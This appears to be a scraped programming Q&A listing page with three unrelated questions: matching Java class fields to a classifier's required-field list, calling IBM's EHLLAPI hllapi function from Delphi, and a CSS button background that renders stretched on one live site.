distance(it1->second.location,it2->second.location); Why does the STL complain about my code?

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  • Help matching fields between two classes

    - by Michael
    I'm not too experienced with Java yet, and I'm hoping someone can steer me in the right direction because right now I feel like I'm just beating my head against a wall... The first class is called MeasuredParams, and it's got 40+ numeric fields (height, weight, waistSize, wristSize - some int, but mostly double). The second class is a statistical classifier called Classifier. It's been trained on a subset of the MeasuredParams fields. The names of the fields that the Classifier has been trained on is stored, in order, in an array called reqdFields. What I need to do is load a new array, toClassify, with the values stored in the fields from MeasuredParams that match the field list (including order) found in reqdFields. I can make any changes necessary to the MeasuredParams class, but I'm stuck with Classifier as it is. My brute-force approach was to get rid of the fields in MeasuredParams and use an arrayList instead, and store the field names in an Enum object to act as an index pointer. Then loop through the reqdFields list, one element at a time, and find the matching name in the Enum object to find the correct position in the arrayList. Load the value stored at that positon into toClassify, and then continue on to the next element in reqdFields. I'm not sure how exactly I would search through the Enum object - it would be a lot easier if the field names were stored in a second arrayList. But then the index positions between the two would have to stay matched, and I'm back to using an Enum. I think. I've been running around in circles all afternoon, and I keep thinking there must be an easier way of doing it. I'm just stuck right now and can't see past what I've started. Any help would be GREATLY appreciated. Thanks so much! Michael

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  • Call dll - pcshll32.dll using delphi

    - by Davis
    Hi, I need to call hllapi function of pcshll32.dll using delphi. It's works with personal communications of ibm. How can i change the code bellow to delphi ? Thanks !!! The EHLLAPI entry point (hllapi) is always called with the following four parameters: EHLLAPI Function Number (input) Data Buffer (input/output) Buffer Length (input/output) Presentation Space Position (input); Return Code (output) The prototype for IBM Standard EHLLAPI is: [long hllapi (LPWORD, LPSTR, LPWORD, LPWORD); The prototype for IBM Enhanced EHLLAPI is: [long hllapi (LPINT, LPSTR, LPINT, LPINT); Each parameter is passed by reference not by value. Thus each parameter to the function call must be a pointer to the value, not the value itself. For example, the following is a correct example of calling the EHLLAPI Query Session Status function: #include "hapi_c.h" struct HLDQuerySessionStatus QueryData; int Func, Len, Rc; long Rc; memset(QueryData, 0, sizeof(QueryData)); // Init buffer QueryData.qsst_shortname = ©A©; // Session to query Func = HA_QUERY_SESSION_STATUS; // Function number Len = sizeof(QueryData); // Len of buffer Rc = 0; // Unused on input hllapi(&Func, (char *)&QueryData, &Len, &Rc); // Call EHLLAPI if (Rc != 0) { // Check return code // ...Error handling } All the parameters in the hllapi call are pointers and the return code of the EHLLAPI function is returned in the value of the 4th parameter, not as the value of the function.

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  • My button background seems stretched.

    - by Kyle Sevenoaks
    Hi, I have a button as made for you to see here. Looks fine,right? Well on the live site, euroworker.no/shipping it seems stretched. Renders fine in Chrome, IE and Safari, I thought it might have been a FF issue, but loaded the fiddle into FF and seems fine. Quick ref CSS and html: #fortsett_btn { background-image: url(http://euroworker.no/public/upload/fortsett.png?1269434047); background-repeat:no-repeat; background-position:left; background-color:none; border:none; outline;none; visibility: visible; position: relative; z-index: 2; width: 106px; height: 25px; cursor:pointer; }? And HTML <button type="submit" class="submit" id="fortsett_btn" title="Fortsett" value="">&nbsp;</button>? I wonder what's up with it.

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